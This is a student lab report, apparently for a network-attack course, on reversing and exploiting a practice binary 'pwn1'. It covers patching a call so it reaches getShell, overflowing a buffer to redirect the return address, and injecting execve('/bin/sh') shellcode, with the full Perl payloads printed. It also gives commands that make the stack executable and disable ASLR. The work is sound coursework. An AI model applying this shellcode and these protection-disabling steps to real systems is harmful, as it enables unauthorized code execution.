20165306 Exp1 PC平台逆向破解

一、逆向及Bof基础实践说明

1. 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

这几种思路,基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码。

2.基础知识

  • 熟悉Linux基本操作

|:管道,将前者的输出作为后者的输入。

>:输入输出重定向符,将前者输出的内容输入到后者中。

objdump -d:从objfile中反汇编那些特定指令机器码的section。

xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。

perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。

ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。

参考资料:

Linux常用命令大全

Linux命令大全(手册)

  • NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(90)

JMP:无条件转移指令(70)

JLE:小于等于(71)

JL:小于(72)

JE:相等(73)

JNE:不相等(74)

JGE:大于等于(75)

JG:大于(76)

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

二、直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

  • 学习目标:理解可执行文件与机器指令

  • 进阶:掌握ELF文件格式,掌握动态技术

objdump -d pwn1反汇编

call 8048491 <foo>是汇编指令,将调用位于地址8048491处的foo函数;其对应机器指令为e8 d7 ff ff ff,e8即跳转之意。

我们想让main函数调用getShell,只要修改d7ffffff47d-4ba得到的补码c3ffffff

# cp pwn1 pwn2

# vi pwn2

注:以下1~7操作是在vi内

1.按ESC

2.输入:%!xxd,将显示模式切换为16进制模式

3.查找要修改的内容 /d7

4.找到后前后的内容和反汇编的对比下,确认是地方是正确的

5.按i键进入插入模式,修改d7c3

6.按Esc退出插入模式,输入:%!xxd -r转换16进制为原格式

7.输入:wq存盘退出vi


8.再反汇编看一下,call指令是否正确调用getshell

9.运行修改后的代码,可以得到shell提示符

三、通过构造输入参数,造成BOF攻击,改变程序执行流

  • 知识要求:堆栈结构,返回地址
  • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
  • 进阶:掌握ELF文件格式,掌握动态技术

1.反汇编,了解程序的基本功能

该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞,我们的目标是覆盖返回地址。

2.确认输入字符串哪几个字符会覆盖到返回地址

# gdb pwn1

eip的值为ASCII的5,即在输入字符串的“5”的部分发生溢出。将“5”的部分改为其他数字进一步确认

1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址,输给pwn1,pwn1就会运行getShell。

3.确认用什么值来覆盖返回地址

getShell的内存地址,通过反汇编时可以看到,即0804847d。

接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08

对比之前eip 0x34333231 0x34333231,正确应该输入11111111222222223333333344444444\x7d\x84\x04\x08

4.构造输入字符串

由为没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

使用16进制查看指令xxd查看input文件的内容是否如预期。

然后将input的输入,通过管道符“|”,作为pwn1的输入。

四、注入Shellcode并执行

1.准备一段Shellcode

  • shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。

  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

2.准备工作

#apt-get install execstack

# execstack -s pwn1 //设置堆栈可执行

# execstack -q pwn1 //查询文件的堆栈是否可执行

# more /proc/sys/kernel/randomize_va_space

2

# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

# more /proc/sys/kernel/randomize_va_space

0

3.构造要注入的payload

Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcodenop+shellcode+retaddr。缓冲区小就把shellcode放后边(RNS),缓冲区大就把shellcode放前边(NSR)。

nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

采用RNS结构:# perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。得把它改为这段shellcode的地址。特别提醒:最后一个字符千万不能是\x0a

接下来我们来确定\x4\x3\x2\x1到底该填什么。

  • 打开一个终端注入这段攻击buf:

  • 再开另外一个终端,用gdb来调试pwn1这个进程

  • 找到pwn1的进程号是2411

  • 启动gdb调试这个进程

  • 通过设置断点,来查看注入buf的内存地址

  • 在pwn1进程正在运行的终端按回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。

  • 再返回调试终端,使用info r esp查找地址。

  • 使用x/16x 0xffffd2fc查看其存放内容,看到了01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd300

  • 接下来只需要将之前的\x4\x3\x2\x1改为\x00\xd3\xff\xff即可

perl -e 'print "A" x 32;print "\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode1

再执行程序

五、感想与收获

  • 因为老师提供的实验指导以及同学们写的博客都很详细,很容易就不假思索照搬照抄,而忘记了最初的目的。时刻带着问题、带着质疑的心朝目标前进,做实验才有效果。

  • 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。

系统漏洞主要分为两种,一种是高危漏洞,另一种是功能性漏洞:

1、高危漏洞:系统核心和Office 漏洞,这些漏洞允许远程执行代码,使得电脑有被入侵的危险

2、功能性漏洞:软件版本更新或给系统添加实用功能,用于解决普通的电脑问题,提升电脑性能

系统漏洞危害:

1、系统漏洞经常被不法者或黑客用于向电脑强制安装恶意程序、传播病毒以及植入木马等;

2、系统漏洞容易导致电脑重要的数据和信息被窃取,严重者会导致操作系统被破坏,电脑数据全部丢失;

3、在局域网环境中,还会造成病毒的传播,导致其他电脑瘫痪,危害极大;

4、被严重破坏的操作系统只能通过重装系统来解决。

20165306 Exp1 PC平台逆向破解的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

  3. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  5. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  6. Exp1 PC平台逆向破解 20165235 祁瑛

    Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  7. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  8. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  9. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

随机推荐

  1. xcode 10 模拟器报错

    xcode 10(也可能是任意版本)run 模拟器时,发现会报下面的错误. This app could not be installed at this time.Could not access ...

  2. 001-zookeeper 简介-paxos算法,zk简介,特点

    一.概述 大数据体系概述 1.1.什么是zookeeper 是Google的Chubby一个开源的实现,是Hadoop的分布式协调服务 它包含一个简单的原语集,分布式应用程序可以基于他实现同步服务,配 ...

  3. 使用TCP通信文件上传

    客服端读取本地文件,吧文件上传到服务器,服务器在吧上传的文件保存到服务器硬盘上方法分析1:客户端使用本地字节输入流读取要上传的文件 2:客户端使用网络字节输出流,吧读取到的文件上传到服务器 3:服务器 ...

  4. Oracle debug

    执行慢的使用使用debug环境变量,可以收集详细的日志 rootcrs.pl/roothas.pl执行慢 参考如下文档设置debug环境变量,重现问题并收集详细日志. How to turn on r ...

  5. 阿里云mysql安装配置(CentOS 7.3 64)

    自建目录并且加载yum资源mysql 安装 回车之后竟然出现不可以的情况(原因是原来的镜像里面默认装好了mysql5.7) 然后只能尝试跳过密码登录 #vim /etc/my.cnf 在文档内搜索my ...

  6. CSRF原理

    全称跨站伪造

  7. 软件测试之Soot

    详情请见:https://github.com/fogmisty/SoftwareTest  

  8. PHP安装APC扩展,亲测成功

    1.在浏览器中输入https://pecl.php.net/package/APC选择安装包激进型下载.(可以选择Windows版本或者是Linux版本).注:以下是在Linux系统上进行操作!

  9. Ansible 批量管理Windows Server服务器

    Ansible批量管理Windows Server         Ansible是一款为类Unix系统开发的自由开源的配置和自动化工具,  它用Python写成,类似于saltstack和Puppe ...

  10. GDI和内核对象区别

    1.GDI对象和核心对象之间最主要的区别在于GDI对象有单一拥有者,不是进程就是线程 2.核心对象可以有一个以上的拥有者,甚至可以跨进程,为了保持对每一位(拥有者)的追踪,核心对象保持了一个引用计数, ...